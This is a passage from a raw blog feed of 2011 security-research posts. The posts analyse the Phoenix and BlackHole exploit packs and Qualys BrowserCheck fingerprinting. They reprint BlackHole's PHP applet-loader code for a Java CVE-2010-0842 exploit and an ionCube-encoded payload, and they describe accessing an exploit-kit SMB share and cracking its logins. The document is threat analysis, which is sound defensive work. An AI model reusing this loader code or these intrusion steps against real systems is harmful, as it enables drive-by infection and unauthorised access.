/&gt;\\phoenix_host\usr\smb\new.avi&lt;br /&gt;\\....&lt;br /&gt;......&lt;br /&gt;&lt;br /&gt;The connection in the bold worked well for us. When we used that link from our virtual machine, we got positive response as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;E:\audit&gt;net use \\phoenix_host\smb&lt;br /&gt;The command completed successfully.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;URI:(\\phoenix_host\home\smb\new.avi) directly included exploit file in the target victim system and started running the exploit file. The file was accessed through firefox as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Jnc42n9d0Ms/TZzB4_dpy1I/AAAAAAAAA5Q/iXOAwXiH1Tk/s1600/phoenix_exploit_hack.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 269px;" src="http://3.bp.blogspot.com/-Jnc42n9d0Ms/TZzB4_dpy1I/AAAAAAAAA5Q/iXOAwXiH1Tk/s400/phoenix_exploit_hack.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5592558022139956050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We reversed the process. We tried to define the parameters in smb.conf file used by the vulnerable server and we cam across following settings&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[global]&lt;br /&gt;  security = share&lt;br /&gt;[smb]&lt;br /&gt;  comment = smb&lt;br /&gt;  path = /home/smb&lt;br /&gt;  public = yes&lt;br /&gt;  browseable = no&lt;br /&gt;  writeable = no&lt;br /&gt;  guest ok = yes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At last, we succeeded in cracking the login account for SMB users for getting access to the server. One can also use Metasploit in order to query and run auxillary modules on SMB server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;This analysis shows that, it is possible to hack in the BEP's successfully.&lt;/span&gt; &lt;span style="font-weight:bold;"&gt;Try your hands on, we are sure you will hack the free bird.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5622818055696087831?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5622818055696087831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/hacking-free-bird-smb-phoenix-ep-25.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5622818055696087831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5622818055696087831'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/hacking-free-bird-smb-phoenix-ep-25.html' title='Hacking Free Bird - SMB - Phoenix EP 2.5'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-6RnhbucIEc8/TZzBz_Ti_gI/AAAAAAAAA5I/3Xczo0bg_ho/s72-c/power.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-6665526116802640061</id><published>2011-02-24T08:58:00.000-08:00</published><updated>2011-02-24T09:00:40.009-08:00</updated><title type='text'>ISACA Journal -  Social Network Malware</title><content type='html'>&lt;center&gt;&lt;div style="width:477px" id="__ss_7045632"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/isaca-journal-chain-exploitation-social-network-malware" title="ISACA Journal - Chain Exploitation - Social Network Malware"&gt;ISACA Journal - Chain Exploitation - Social Network Malware&lt;/a&gt;&lt;/strong&gt; &lt;object id="__sse7045632" width="477" height="510"&gt; &lt;param name="movie" value="http://static.slidesharecdn.com/swf/doc_player.swf?doc=isacajan2011chainexploitation-110224105636-phpapp02&amp;stripped_title=isaca-journal-chain-exploitation-social-network-malware&amp;userName=adityaks" /&gt; &lt;param name="allowFullScreen" value="true"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt; &lt;embed name="__sse7045632" src="http://static.slidesharecdn.com/swf/doc_player.swf?doc=isacajan2011chainexploitation-110224105636-phpapp02&amp;stripped_title=isaca-journal-chain-exploitation-social-network-malware&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="477" height="510"&gt;&lt;/embed&gt; &lt;/object&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/"&gt;documents&lt;/a&gt;  &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-6665526116802640061?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/6665526116802640061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/02/isaca-journal-chain-exploitation-social.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6665526116802640061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6665526116802640061'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/02/isaca-journal-chain-exploitation-social.html' title='ISACA Journal -  Social Network Malware'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-3661173497548779141</id><published>2011-02-21T10:34:00.000-08:00</published><updated>2011-02-21T11:30:47.859-08:00</updated><title type='text'>Java OBE + BlackHole - Dead Man Rising</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-5mvFYb3efAM/TWKz-QhN0yI/AAAAAAAAA4Q/9k7CAGPMqOA/s1600/javaobe.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 108px; height: 164px;" src="http://3.bp.blogspot.com/-5mvFYb3efAM/TWKz-QhN0yI/AAAAAAAAA4Q/9k7CAGPMqOA/s400/javaobe.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5576217170805642018" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;BlackHole exploit pack is showing heavy increase in malware infections across web. The interesting fact that BlackHole presents is the use of &lt;span style="font-weight:bold;"&gt;Java OBE (Open Business Engine)&lt;/span&gt; in spreading exploits and successfully loading the malicious executable in the victim machine.&lt;br /&gt;&lt;br /&gt;What is OBE?&lt;br /&gt;:&lt;span style="font-style:italic;"&gt;"OBE is a flexible, modular, standards-compliant Open Source Java workflow engine. It is fully J2EE compliant, and supports several J2EE application servers, operating systems and databases. It faithfully implements Workflow Management Coalition Open Standards (WfMC), to which it offers a variety of extensions and enhancements. OBE is equally suited to embedded or standalone deployment."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;More details can be found &lt;span style="font-weight:bold;"&gt;&lt;a href="http://obe.sourceforge.net/about/introduction.html"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, BlackHole is using fully functional Java OBE Toolkit in order to exploit plethora of systems. Our latest analysis unleash this point that Java OBE holds the maximum rate of successfully exploiting the targets. BlackHole exploit pack shows this behavior where Java OBE Toolkit is devastating victim machines at rapid pace than any other exploits.&lt;br /&gt;&lt;br /&gt;The exploit served by Java OBE is the &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0840"&gt;CVE-2010-0840 &lt;/a&gt;&lt;/span&gt; and &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0842"&gt;CVE-2010-0842 &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As stated by &lt;span style="font-weight:bold;"&gt; &lt;a href="http://www.zerodayinitiative.com/advisories/ZDI-10-056/"&gt;Zero Day Initiative:&lt;/a&gt;&lt;/span&gt;&lt;span style="font-style:italic;"&gt; Authentication is not required to exploit this vulnerability.The specific flaw exists within the code responsible for ensuring proper privileged execution of methods. If an untrusted method in an applet attempts to call a method that requires privileges,Java will walk the call stack and for each entry verify that the method called is defined within a class that has that privilege.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;BlackHole exploit pack uses following PHP code to link to the exploit&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;?php&lt;br /&gt;  include_once 'config.php';&lt;br /&gt;  echo ' Applet Code="ToolsDemo.class" archive="';&lt;br /&gt;  echo $config_url . '/exploits/Java-2010-0842.jar';&lt;br /&gt;  echo '" width="0" Height="1"&lt;br /&gt;  PARAM NAME="URL" VALUETYPE="ref" VALUE="';&lt;br /&gt;  echo $config_url . '/exploits/Java-2010-0842Helper.php';&lt;br /&gt;  echo '"&gt; &lt;br /&gt; /applet&gt;';&lt;br /&gt;?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Th exploit is encodes with PHP IonCube encoder as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;?php //0035e&lt;br /&gt;if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='/ioncube/ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');$__oid=$__id=realpath(ini_get('extension_dir'));&lt;br /&gt;$__here=dirname(__FILE__);if(strlen($__id)&gt;1&amp;&amp;$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).&lt;br /&gt;$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo&lt;br /&gt;('Site error: the file &lt;b&gt;'.__FILE__.'&lt;/b&gt; requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);&lt;br /&gt;?&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;4+oV54zQTAi0e4oDtExXY1DjnASpODJTLQWezUOr9eSc/QY6HTb4vd+rZpF1HHTh0Khql7iEBD8o&lt;br /&gt;iHXqZlUSsNYne9MWqG5vGyPF8ndLDo/Ctc2nWyKPRPmYovkVWIhmzruI9fbg2mVjfc84zaSvSFuN&lt;br /&gt;zXKHmSbl+AoJo6UChrvdCB8b2wQEepAhplIZW1fEX5jdI73K0aILHly7rmYA0DxVC7IIG81zhT37&lt;br /&gt;quMA5arzCs3LYUshSwjHlbWT63Un0It0T59cuYZxSlhY3osq1fqGxeAlzJ/8gMXCr8bMvhQ00VcE&lt;br /&gt;sLkaLKgxBf9elSC4pPQ8yN4Ajtbk63NI1k/VPoN8c1bogVgD81STXlMlcnXV/BhsGcj0EcM4nRav&lt;br /&gt;twLKKBIHXDqgVWQOpFvlhumeM9KLQu6bbOuZYYos/tOsCLyRauiChV8vQdWndia8XGK7bjoc9vri&lt;br /&gt;RwDG5R4I+LYhp1ajtvbfoWafYMD+tJcMtwn+GGkNDWEa8SDhrYc5foPERsptZDbduKlXIfmuKHMs&lt;br /&gt;i3iBo4o9ncsSSRIm2EwrrqG9GoWRfOeTMaCQFKHMrRH3xK+GTe9sMDLsC3bWMfeU1/js8nAMshnJ&lt;br /&gt;uD3JEvPvENBByeVjawcuITCXUi7us4RQ7xlPaUgQ5zn8KleXH30qErLCyu1+imafdPVFbvhyj0B6&lt;br /&gt;owIoTC0eVD2/qF2A5MMQOJ86uSyn+TU7zL39Xak43NVE8K7pFi+PSYPqXKMFPu4gZuNy97fZxnJu&lt;br /&gt;X5nENhyhotklpg3Qt9yabDVdSDSDFZyV4BHH17w5uAj7eEj7uupXU0JlnYccdhU1O65Ncy2lhUjW&lt;br /&gt;JSC4a36ucKA/xgssB+JqZ3AUZjdH4Jwn89HfexDfcN9tkBDQ9KcWVJJ3hm+HYvW98yc3pOkYOb8S&lt;br /&gt;2HG1AqKLoe7Hs5F3IQT5gS2Vy4iZjVNMj6ZHrpFZ7PNg/Bmhs11Ihz7MBk3uqdamXcSNzb4DvTIN&lt;br /&gt;7pGIMBaMw84Px89GKeKJFJz9xGk5RPtIJehUf7xm64zbGJNyA5XkStpph7OF0eXL6vKTUnEuvwWV&lt;br /&gt;sK0qf/ssfSdC9C5bABVnxZRi6Ehf4Ss7pizy8U417HVSeaYHrFUGtnUifK41MkJMBH7TlccNm7fP&lt;br /&gt;0yAslR7TMtcjkTD9RC1LjjfTTLocpsYSH2pKSVaa/MqMr0jPyafCZrv5qkwlgWOlKvlUDwussRUp&lt;br /&gt;p7bP6MsCw7bCVFHg5S5fjb/W9AxdK9H51aNeotbWAj6ht/wodBNqG/mN9MmB9ejBWC3HnrXTHwkI&lt;br /&gt;R6jKOIbHEk3d1A50RjL0L93EtCVUaJv2GpIyYsKIsWNuc00JdXifz4vvKttF1S929jzbaWq7wAyk&lt;br /&gt;uHu3SmmjBkQ+wDLIR6ghdwCVspTpbb6IiFYWYKjhFmxeOsQ2tuieEG6CRMbm0hZsuwwUrrtKEZ5r&lt;br /&gt;JaQqtN2zSVpAXfQMYf/vACAZdbdroX17DgDLDWz/lpWSTGbQlCPteycgmgNn9J3PAkSkXwY81PNU&lt;br /&gt;0WBSbxSP6s80Q4lye1IbFfltV/Doyw5HFR+vF+vGUzcepkPif58TruwNlFt4jFuj/6+SosDV4xn9&lt;br /&gt;wnYf+KjWw95keiR5zBaFd194ens3GdmLibpooN4=&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This exploit can be found in the wild on the World Wide Web. During our analysis, exploit specific stats are checked for the infected domain hosting BlackHole exploit pack. The comparative ratio is presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-PAv1fP2DGeQ/TWK9RFut3dI/AAAAAAAAA4g/U_mYbgRndKw/s1600/exp.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 329px;" src="http://2.bp.blogspot.com/-PAv1fP2DGeQ/TWK9RFut3dI/AAAAAAAAA4g/U_mYbgRndKw/s400/exp.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5576227389931642322" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;This scenario shows the ease of exploiting Java open engine.In this, only BlackHole exploit pack is analyzed, what about other exploit packs.&lt;span style="font-weight:bold;"&gt; It seems like Java is becoming the preferred base for exploitation because of platform independent nature.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-3661173497548779141?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/3661173497548779141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/02/java-obe-tookit-exploits-blackhole-dead.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3661173497548779141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3661173497548779141'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/02/java-obe-tookit-exploits-blackhole-dead.html' title='Java OBE + BlackHole - Dead Man Rising'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-5mvFYb3efAM/TWKz-QhN0yI/AAAAAAAAA4Q/9k7CAGPMqOA/s72-c/javaobe.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-8016782565064556679</id><published>2011-02-19T16:37:00.000-08:00</published><updated>2011-02-19T17:26:31.787-08:00</updated><title type='text'>BrowserCheck - Malware Driven Retrospective</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-3a7rNzmKJY8/TWBn0kFpIfI/AAAAAAAAA4I/MzXVvOMnHuA/s1600/verify.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 188px; height: 179px;" src="http://2.bp.blogspot.com/-3a7rNzmKJY8/TWBn0kFpIfI/AAAAAAAAA4I/MzXVvOMnHuA/s400/verify.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5575570491422876146" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Recently, we came across the new browser security tool released by &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.qualys.com/"&gt;QUALYS&lt;/a&gt;&lt;/span&gt; termed as &lt;span style="font-weight:bold;"&gt;&lt;a href="https://browsercheck.qualys.com/"&gt;BrowserCheck&lt;/a&gt; &lt;/span&gt;. In general, this tool scrutinizes and verifies the state of plug-ins in Mozilla browser. As stated in the &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.informationweek.com/blog/main/archives/2010/07/qualys_free_bro.html;jsessionid=AZXZBMAWZXAGLQE1GHPSKH4ATMY32JVN"&gt;information week article &lt;/a&gt; &lt;/span&gt; &lt;span style="font-style:italic;"&gt;"Less-than-current browser and plug-in versions can leave your browsing unnecessarily vulnerable to web-based attacks... and make latest-and-greatest-based web sites harder or impossible to use, but Qualys' free BrowserCheck can help."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well, in general the tool is designed as a simple version based signature tool. However, the tool uses a PHP based version verifier script that runs on server side. An appropriate XMLHttpRequest is used to send the browser based information which we termed as &lt;span style="font-weight:bold;"&gt;User Agent Based Fingerprinting (UABF).&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Conversely, this technique is used in the wild by all the classes of malware to detect the state of browsers (version, addons, plug-ins etc). Apart from this, malware is served based on the type of version running.  A similar plug-in detection script can be compiled using navigator object as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Qj68tH1cCHg/TWBnt5S-MAI/AAAAAAAAA4A/MvsdZTB1FaY/s1600/plugin.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 170px;" src="http://4.bp.blogspot.com/-Qj68tH1cCHg/TWBnt5S-MAI/AAAAAAAAA4A/MvsdZTB1FaY/s400/plugin.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5575570376856842242" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Further, it is also detected that the tool is using &lt;span style="font-weight:bold;"&gt;JavaScript + XMLHTTPRequest&lt;/span&gt; collectively to find the information from client machine. During the course of testing, we conducted a small test in order to scrutinize whether Java applet is loaded in the system or not in order to verify the semantics of tool. Generally, Java plug-in version can be checked by using a simple Java applet as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;import java.applet.*;&lt;br /&gt; import java.awt.*;&lt;br /&gt; public class JavaVersionDisplayApplet extends Applet&lt;br /&gt; { private Label m_labVersionVendor; &lt;br /&gt;   public JavaVersionDisplayApplet() //constructor&lt;br /&gt;   { &lt;br /&gt;     m_labVersionVendor = new Label (" Java Version: " +&lt;br /&gt;                                    System.getProperty("java.version")+&lt;br /&gt;                           " from "+System.getProperty("java.vendor"));&lt;br /&gt;     this.add(m_labVersionVendor);&lt;br /&gt;   }&lt;br /&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Java client side environment is not triggered on the test machine which clearly indicates that fingerprinting is done using simple tactics. While running the tool on one of our test bed machines, we found that the data is transferred as&lt;br /&gt;&lt;br /&gt;{&lt;span style="font-weight:bold;"&gt;"ScanInfo":&lt;/span&gt;&lt;br /&gt;  {"Platform":"Microsoft Windows Vista Home Premium Edition, 64-bit Service Pack 2","Browser":"Mozilla Firefox                   3.6.13","&lt;span style="font-weight:bold;"&gt;AgentVer"&lt;/span&gt;:"1.1.95.1","SADllVer":"1.1.95.1","&lt;span style="font-weight:bold;"&gt;InstanceId"&lt;/span&gt;:"72904d0d-a58e-409d-afa3-922d1c8a71cd","&lt;span style="font-weight:bold;"&gt;ScanId"&lt;/span&gt;:"5"},&lt;br /&gt;&lt;br /&gt;"ScanResults":[&lt;span style="font-weight:bold;"&gt;{"Status":&lt;/span&gt;"Up To Date",&lt;span style="font-weight:bold;"&gt;"ItemType"&lt;/span&gt;:"Browser","ItemName":"Mozilla Firefox",&lt;span style="font-weight:bold;"&gt;"FoundVer&lt;/span&gt;":"3.6.13",&lt;span style="font-weight:bold;"&gt;"ProductVer"&lt;/span&gt;:"3.6.13","&lt;span style="font-weight:bold;"&gt;RequiredVer"&lt;/span&gt;:"3.6.13.0",&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;"FixInfo"&lt;/span&gt;:"http://www.mozilla.com/en-US/firefox/upgrade.html"},&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;{"Status":"Up To Date","ItemType":"Browser Extra","ItemName":"Adobe Flash Player","FoundVer":"10.2.152.26","InstalledFile":"c:\\windows\\syswow64&lt;br /&gt;\\macromed\\flash \npswf32.dll","ProductVer":"10.2.152.26","RequiredVer":"10.2.152.26",&lt;br /&gt;"AdvisoryUrl":"http://www.adobe.com/support/security/advisories/apsa10-05.html","AddonType":"Plugin","FixInfo":"http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe"},&lt;br /&gt;&lt;br /&gt;{"Status":"Up To Date","ItemType":"Browser Extra","ItemName":"Adobe Reader","FoundVer":"10.0.1.434","InstalledFile":"c:\\program files &lt;br /&gt;(x86)\\adobe\\reader 10.0\\reader\\browser \\nppdf32.dll","ProductVer":"10.0.1.434","RequiredVer":"10.0.1.434",&lt;br /&gt;"AddonType":"Plugin","FixInfo":"http://get.adobe.com/reader"},&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;{"Status":"Up To Date","ItemType":"Browser Extra","ItemName":"Java Runtime","FoundVer":"1.6.0_22","ProductVer":"1.6.0_22",&lt;br /&gt;"RequiredVer":"1.6.0_24","RecommendedVer":"Latest Version of Java","AddonType":"Plugin","FixInfo":"http://www.java.com/getjava/index.jsp"},&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;{"Status":"Up To Date","ItemType":"Browser Extra","ItemName":"Microsoft Silverlight","FoundVer":"4.0.60129.0","InstalledFile":"c:\\program files (x86)\\microsoft silverlight\\4.0.60129.0\\npctrl.dll","ProductVer":"4.0.60129.0","RequiredVer":"4.0.60129.0",&lt;br /&gt;"AddonType":"Plugin","FixInfo":"http://www.microsoft.com/getsilverlight/handlers/getsilverlight.ashx"},&lt;br /&gt;&lt;br /&gt;{"Status":"NA","ItemType":"Browser Extra","ItemName":"Microsoft &lt;br /&gt;Windows Presentation Foundation","FoundVer":"3.5.30729.1","InstalledFile":"",&lt;br /&gt;"ProductVer":"3.5.30729.1","RequiredVer":"3.5.30729.1",&lt;br /&gt;"AddonType":"Plugin","FixInfo":"http://www.microsoft.com/downloads/"},&lt;br /&gt;&lt;br /&gt;{"Status":"Up To Date","ItemType":"Browser Extra","ItemName":"Microsoft &lt;br /&gt;Windows Media Player","FoundVer":"11.0.6002.18311","InstalledFile":"C:\\Windows\\system32\\wmp.dll","ProductVer":"11.0.6002.18311",&lt;br /&gt;"RequiredVer":"11.0.6002.18311","AddonType":"Plugin",&lt;br /&gt;"FixInfo":"http://www.microsoft.com/downloads/en/confirmation.aspx?&lt;br /&gt;familyid=277151A2-B74F-4DA6-8203-E774AF75E44C&amp;displaylang=en"}]}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This scan info completely leverages the working stature of the tool. However, the technique is not new but &lt;span style="font-weight:bold;"&gt;one can notice that signature based tools are still widely used.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The next question is to see the way this tool reacts when a malicious plug-in (having updated version information) is installed in the browser.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-8016782565064556679?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/8016782565064556679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/02/browsercheck-signatureversion-based.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8016782565064556679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/8016782565064556679'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/02/browsercheck-signatureversion-based.html' title='BrowserCheck - Malware Driven Retrospective'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-3a7rNzmKJY8/TWBn0kFpIfI/AAAAAAAAA4I/MzXVvOMnHuA/s72-c/verify.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-7779561392945931554</id><published>2011-02-14T08:13:00.000-08:00</published><updated>2011-02-17T08:17:04.618-08:00</updated><title type='text'>HITB Paper - Shared Hosting Infections</title><content type='html'>HITB issue 5 talks about our paper on &lt;span style="font-weight:bold;"&gt;"Shared Hosting Malware Infections".&lt;/span&gt;&lt;a href="http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-005.pdf"&gt;&lt;span style="font-weight:bold;"&gt; FETCH&lt;/span&gt;&lt;/a&gt; here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-7779561392945931554?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/7779561392945931554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/02/hitb-paper-shared-hosting-infections.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7779561392945931554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7779561392945931554'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/02/hitb-paper-shared-hosting-infections.html' title='HITB Paper - Shared Hosting Infections'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4815703703579007642</id><published>2011-02-06T11:43:00.000-08:00</published><updated>2011-02-06T14:25:06.031-08:00</updated><title type='text'>SpyEye CreditGrab.dll Module - Plugin Analysis</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8eXzlrD1I/AAAAAAAAA3M/KpkWoutw7Wg/s1600/bad_credit_repair.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 135px; height: 135px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8eXzlrD1I/AAAAAAAAA3M/KpkWoutw7Wg/s400/bad_credit_repair.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570704658414636882" /&gt;&lt;/a&gt;&lt;br /&gt;In our last post about &lt;a href="http://secniche.blogspot.com/2010/08/spyeye-backend-collector-generating.html"&gt;SpyEye 